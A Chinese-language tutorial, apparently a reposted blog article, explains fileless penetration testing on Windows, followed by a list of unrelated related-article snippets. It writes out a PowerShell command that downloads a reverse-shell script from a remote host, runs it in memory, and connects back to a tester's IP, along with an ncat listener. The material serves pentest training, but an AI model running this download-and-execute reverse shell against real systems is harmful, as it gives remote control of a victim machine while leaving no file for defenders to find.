无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生。说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将payloads直接注入正在运行程序的内存,导致恶意软件直接在系统内存中执行,也让专家很难在系统重启之后找到此恶意软件的踪迹。

在日常的渗透测试中,如果使用无文件渗透,那么也同样可以保证在执行恶意测试程序时没有任何的文件落地,直接加载到内存中执行,本文分为两篇,将分别针对windows和linux系统分别简单介绍下如何进行无文件渗透测试实战。

首先我们要确定下我们在什么情况下会到使用无文件渗透的这个地步:

1、存在命令执行相关漏洞,可直接执行系统命令

2、通过其他漏洞已经进入测试目标并且可以执行一些系统命令

实际上在理解了命令执行的原理并且保证漏洞可以执行任意系统命令后,我们可以直接在命令行的操作模拟命令执行漏洞利用的操作,所以不要介意为什么说是利用漏洞来进行无文件渗透测试但图里面确实直接在命令行的操作。

在windows下,一般通过远程加载powershell脚本来进行,接下来测试加载某ps1脚本至内存来反弹系统shell(用户会话),测试脚本名为Invoke-PowerShellTcp.ps1,脚本内容不给出,仅做无文件渗透测试样例使用,具体利用方式如下:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://testwebsite/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x(测试人员远端主机ip) -port x(测试人员远端主机端口)

为了接收反弹的会话,我们可以使用ncat(能在两台主机之间建立链接并双向返回数据流)来进行主机间的通信,具体使用如下命令,默认tcp协议:

#nc –vvlp x(测试人员远端主机端口)

当在存在漏洞的测试目标上执行该命令时,内存中加载脚本内容并直接执行,进程中会出现powershell.exe但是并不会有Invoke-PowerShellTcp.ps1落地,执行后在测试人员的远端服务器上可以接收到测试目标的系统shell,分别在测试目标(windows)和测试人员远端主机(linux)执行whoami来确认反弹的系统shell确实为测试目标的会话:

使用进程管理器查看本地是否存在正在运行的powershell进程:

everything查看windows本地是否存在Invoke-PowerShellTcp.ps1文件

作  者:Testfan Covan
出  处:微信公众号:自动化软件测试平台
版权说明:欢迎转载,但必须注明出处,并在文章页面明显位置给出文章链接

渗透测试之无文件渗透简单使用-windows的更多相关文章

  1. 渗透测试之本地文件包含(LFI)

    一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...

  2. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  3. 互联网渗透测试之Wireshark的高级应用

    互联网渗透测试之Wireshark的高级应用 1.1说明 在本节将介绍Wireshark的一些高级特性 1.2. "Follow TCP Stream" 如果你处理TCP协议,想要 ...

  4. 渗透测试之BurpSuite工具的使用介绍(三)

    若希望从更早前了解BurpSuite的介绍,请访问第二篇(渗透测试之BurpSuite工具的使用介绍(二)):https://www.cnblogs.com/zhaoyunxiang/p/160002 ...

  5. 【WIN7】windows\system32 下的几乎所有文件的简单说明【2】

    1: System32的详解 C:\WINDOWS\system32... 2:   3: 这个 system32 文件夹中包含了大量的用于 Windows 的文件. 这里主要用于存储 DLL 文件, ...

  6. 【WIN7】windows\system32 下的几乎所有文件的简单说明【1】

    1: aclui.dll .....Security Descriptor Editor,没有它,注册表编缉器会无法运行 2: ACTIVEDS.DLL .....(ADs 路由层 DLL). 没有它 ...

  7. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  8. Metasploit渗透技巧:后渗透Meterpreter代理

    Metasploit是一个免费的.可下载的渗透测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击测试.它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具. 当H.D. Moore在20 ...

  9. Directx11学习笔记【一】 最简单的windows程序HelloWin

    声明:本系列教程代码有部分来自dx11龙书及dx11游戏编程入门两本书,后面不再说明 首先,在vs2013中创建一个空的解决方案Dx11Demo,以后的工程都会放在这个解决方案下面.然后创建一个win ...

随机推荐

  1. EasyDarwin开源流媒体社区视频教程

    EasyDarwin开源社区出视频教程了,经过几个深夜的努力,终于将第一次课程的5个课时的视频教程录好<EasyDarwin开源流媒体服务器:编译.配置.部署>,EasyDarwin后面会 ...

  2. Android笔记之获取应用程序文件目录

    获取应用程序文件目录 ContextWrapper.getFilesDir(),这个函数返回存放应用程序文件的目录的路径 获取应用程序缓存目录 ContextWrapper.getCacheDir() ...

  3. MFC获取电脑硬盘序列号(附源代码)

    在新建的project里面加入一个类  即:下面一个类  GetHDSerial.cpp <code class="hljs cs has-numbering" style= ...

  4. maven资料

    1.配置settings.xml:http://www.cnblogs.com/jingmoxukong/p/6050172.html?utm_source=gold_browser_extensio ...

  5. [haoi2014]穿越封锁线

    这题需要注意的一点是射线法需要考虑边界,而且题目对边界的限制极为严格. dcmp(v[i%n].x-x)<=0&&dcmp(v[(i+1)%n].x-x)>0 dcmp(v ...

  6. hdu1052 田忌赛马 —— 贪心

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1052 错误代码: #include<stdio.h>//田忌赛马,错误版 #include ...

  7. x264 --fullhelp

    >x264 --fullhelp x264 core: Syntax: x264 [options] -o outfile infile Infile can be raw (in which ...

  8. 编译Thrift

    按照 https://syslint.com/blog/tutorial/how-to-install-apache-thrift-on-ubuntu-14-04/ 进行, 编译时出现错误 make[ ...

  9. js日期和时间戳互换

    <script> function js_strto_time(str_time){ var new_str = str_time.replace(/:/g,'-'); new_str = ...

  10. CentOS6.5 yum源设置

    在安装完CentOS后一般需要修改yum源,才能够在安装更新rpm包时获得比较理想的速度. 国内比较快的有163源.sohu源.这里以163源为例子. 1. cd /etc/yum.repos.d 2 ...